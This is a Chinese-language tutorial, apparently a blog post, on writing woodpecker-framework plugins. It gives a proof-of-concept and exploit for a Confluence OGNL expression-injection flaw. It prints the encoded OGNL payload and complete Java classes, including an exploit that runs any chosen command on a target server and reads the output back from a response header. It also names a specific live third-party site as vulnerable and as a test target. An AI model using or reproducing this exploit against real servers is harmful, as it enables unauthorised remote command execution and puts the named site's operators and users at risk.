POC & EXP | woodpecker插件编写

woodpecker插件编写

目录

• woodpecker介绍
• woodpecker使用
• 插件编写
  • 安装环境
    • woodpecker-sdk
    • woodpecker-request
  • 创建Maven项目
• Confluence OGNL表达式注入漏洞插件编写
  • 创建Package包和Class类
  • 编写POC
    • 漏洞POC
    • 代码编写
    • 导出jar包
    • 将jar包放入woodpecker的plugin目录
    • 运行woodpecker测试
  • 编写EXP
    • 代码编写
    • 运行woodpecker测试

woodpecker介绍

• https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架，只做一件事：精准狙击高危漏洞。

针对人群：专业打点人士。

• 目标探测
• 精准检测
• 深度利用
• 荷载生成

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后，会自动生成common、config.db、plugin

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdk是woodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

• https://github.com/woodpecker-framework/woodpecker-sdk

下载下来，解压，使用IDE打开项目，点击右侧“install”。

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

• https://github.com/woodpecker-framework/woodpecker-requests

下载下来，解压，使用IDE打开项目，点击右侧“install”。

创建Maven项目

    <dependencies>
        <dependency>
            <groupId>me.gv7.woodpeckergroupId>
            <artifactId>woodpecker-sdkartifactId>
            <version>0.3.0version>
        dependency>
        <dependency>
            <groupId>me.gv7.woodpeckergroupId>
            <artifactId>woodpecker-requestsartifactId>
            <version>0.2.0version>
        dependency>
    dependencies>

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

• exploit
• pocs
• utils

和Class类

• ConfluenceVulPlugin（不固定，和漏洞名相关）
• WoodpeckerPluginManager整个程序的入口
• ConfluenceOgnlPoc（不固定，和漏洞名相关）
• ConfluenceOgnlExp（不固定，和漏洞名相关）

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为：

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类：（整个插件的入口）

package me.gv7.woodpecker.plugin;

// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{
    @Override
    public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
        // 注册漏洞插件
        iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );
    }
}

ConfluenceVulPlugin类：（具体的漏洞插件类）

package me.gv7.woodpecker.plugin;

import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;

import java.util.ArrayList;
import java.util.List;

// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{

    public static IVulPluginCallbacks callbacks;
    public static IPluginHelper pluginHelper;
    @Override
    public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
        this.callbacks = iVulPluginCallbacks;
        this.pluginHelper = iVulPluginCallbacks.getPluginHelper();

        iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字
        iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名
        iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
        iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称
        iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述

        // 注册漏洞验证模块
        iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());

        // 注册漏洞利用模块（利用模块可以有多个)
        List<IExploit> exploitList = new ArrayList();
        exploitList.add(new ConfluenceOgnlExp());
        iVulPluginCallbacks.registerExploit(exploitList);
    }
}

ConfluenceOgnlPoc类：

package me.gv7.woodpecker.plugin.pocs;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class ConfluenceOgnlPoc implements IPoc {
    @Override
    public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {
        // 创建输出模块，用作结果的输出
        IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();
        // 设置目标地址，iTarget.getAddress()由插件面板获取地址
        scanResult.setTarget(iTarget.getAddress());
        // 调用漏洞验证函数
        Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());

        scanResult.setExists((Boolean) responseMap.get("flag"));
        scanResult.setMsg((String) responseMap.get("results"));

        iResultOutput.infoPrintln((String) responseMap.get("results"));
        return scanResult;
    }
    
    // 漏洞验证函数
    private Map<String, Object> checkConfluenceOgnl(String address){
        Map<String,Object> responseMap = new HashMap<>();
        boolean flag = false;
        String results  = null;
        try {
            /*
                Requests.get()发送一个get请求（验证漏洞的POC）。
                verify(false) : 忽略https证书失效
                timeout(3000) : 超时时间3000毫秒
                send() : 发送
            */
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            String header = response.getHeader("X-Response");
            if(response.statusCode() == 302 && header.contains("ognlinject")){
                flag = true;
                results = String.format("%s存在命令注入漏洞！！！",address);
            }else {
                flag = false;
                results = String.format("%s不存在命令注入漏洞",address);
            }

        }catch (Exception e){
            flag = false;
            results = String.format("%s不存在命令注入漏洞",address);
        }finally {
            // 设置responseMap的值，将flag和results带回去
            responseMap.put("flag",flag);
            responseMap.put("results",results);
        }
        // 返回
        return responseMap;
    }
}

导出jar包

点击“package”生成jar包：

将jar包放入woodpecker的plugin目录

运行woodpecker测试

测试网址：此网址存在该漏洞

https://confluence.startwire.com

编写EXP

代码编写

ConfluenceOgnlExp类：

package me.gv7.woodpecker.plugin.exploit;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class ConfluenceOgnlExp implements IExploit {
    @Override
    public String getExploitTabCaption() {
        return "代码执行";  // 选项名称
    }

    // 接收用户参数
    @Override
    public IArgsUsageBinder getExploitCustomArgs() {
        IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();
        List<IArg> args = new ArrayList<>();

        IArg command = ConfluenceVulPlugin.pluginHelper.createArg();
        command.setDescription("执行的命令");
        command.setName("Command");
        command.setDefaultValue("whoami");
        command.setRequired(true);  // 必填
        args.add(command);
        argsUsageBinder.setArgsList(args);
        return argsUsageBinder;
    }

    @Override
    public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {
        try {
            String command = (String) map.get("Command");
            command = URLEncoder.encode(command);
            String address = iTarget.getAddress();
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            if (response.statusCode() == 302){
                String responseHeader = response.getHeader("X-Response");
                iResultOutput.successPrintln(responseHeader);
            }else{
                iResultOutput.failPrintln("执行失败了~");
            }
        }catch (Exception e){
            iResultOutput.failPrintln("执行异常了~");
        }
    }
}

运行woodpecker测试